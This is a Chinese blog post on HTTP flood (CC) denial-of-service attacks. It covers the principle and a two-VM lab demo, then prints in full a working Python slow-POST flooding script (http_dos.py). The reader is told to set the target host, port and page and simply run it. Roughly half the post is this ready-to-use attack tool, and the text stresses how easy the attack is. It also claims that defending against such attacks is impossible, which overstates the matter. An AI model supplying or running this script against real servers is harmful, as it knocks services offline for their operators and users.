http泛洪攻击原理与实例

本文介绍了HTTP泛洪攻击(CC攻击)的原理,它是一种分布式拒绝服务(DDoS)攻击,通过大量合法HTTP请求耗尽目标服务器资源。攻击者通常使用工具如LoIC和HULK来实施。在示例中,攻击机模拟用户请求导致目标服务器响应缓慢直至崩溃。由于Web服务必须保持开放,目前完全防御CC攻击是困难的。
摘要由CSDN通过智能技术生成

http泛洪攻击原理与实例


0x01 前言

今天来讲讲关于应用层的泛洪攻击-- http 泛洪攻击(也称cc攻击)
不知道有没有人每次在学校官网到报名选修课的时候,都会为网页刷不出来,报名网页失去响应焦头烂额,特别是在报名一些热门选修课(妹子多的课)。cc攻击就是模拟这种现象,并且这种攻击的技术含量是很低的,掌握一个工具或者一些IP代理的知识就可以实施这种攻击,但可以造成极大的危害。

并且这种攻击是无解的,想彻底地防御cc攻击目前是不可能的,因为web服务不可能关闭,他需要不断的接受来自用户的http 请求。
下面在搭建的简易环境,体验一下这种攻击。

0x02 http 攻击原理

http泛洪攻击是一种分布式拒绝服务(DDos)攻击。
攻击者控制某些僵尸主机不停地发大量看似合法的HTTP GET或POST数据包请求web服务器或web应用,web 服务不得不去处理这些http的请求数据,一旦目标服务器已满足请求并且无法响应正常流量,会造成目标服务器资源耗尽,一直到宕机崩溃,那么真正的用户的http请求则无法处理。
在这里插入图片描述

目前常用DDos工具有 LoIC、hulk

0x03 攻击演示

这里环境搭建使用一台机器对目标机进行http泛洪攻击,效果也很客观,真是的场景是很多台机器同时对目标机进行攻击。
目标机: ubuntu 16.04
攻击机: ubuntu 18.04

首先搭建apache2 服务器, 然后在/var/www/html/ 中随便写个界面
在这里插入图片描述

这里我使用网上别人写的一个http泛洪脚本http_dos.py ,当然你也可以使用其他的工具, 使用前配置好脚本里面的PORT、HOST、PAGE 三个参数。
然后执行就好了
在这里插入图片描述

在攻击机上抓个包,你会看到很多的攻击机向目标机发送的http post 请求数据包。
在这里插入图片描述

刷新网页,失去响应。

在这里插入图片描述
http_dos.py

import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="192.168.124.128"
PAGE="/login.html"
#---------------------------
#http://192.168.124.128/login.html
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))


socks=[]


def conn_thread():
    global socks
    for i in range(0,MAX_CONN):
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        try:
            s.connect((HOST,PORT))
            s.send(buf)
            print "Send buf OK!,conn=%d\n"%i
            socks.append(s)
        except Exception,ex:
            print "Could not connect to server or send error:%s"%ex
            time.sleep(10)
#end def


def send_thread():
    global socks
    while True:
        for s in socks:
            try:
                s.send("f")
                #print "send OK!"
            except Exception,ex:
                print "Send Exception:%s\n"%ex
                socks.remove(s)
                s.close()
        time.sleep(1)
#end def


conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())


conn_th.start()
send_th.start()

参考:
cc攻击 变种慢速攻击
https://www.jianshu.com/p/dff5a0d537d8
cc攻击
http://www.bingdun.com/cc/1158.htm

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值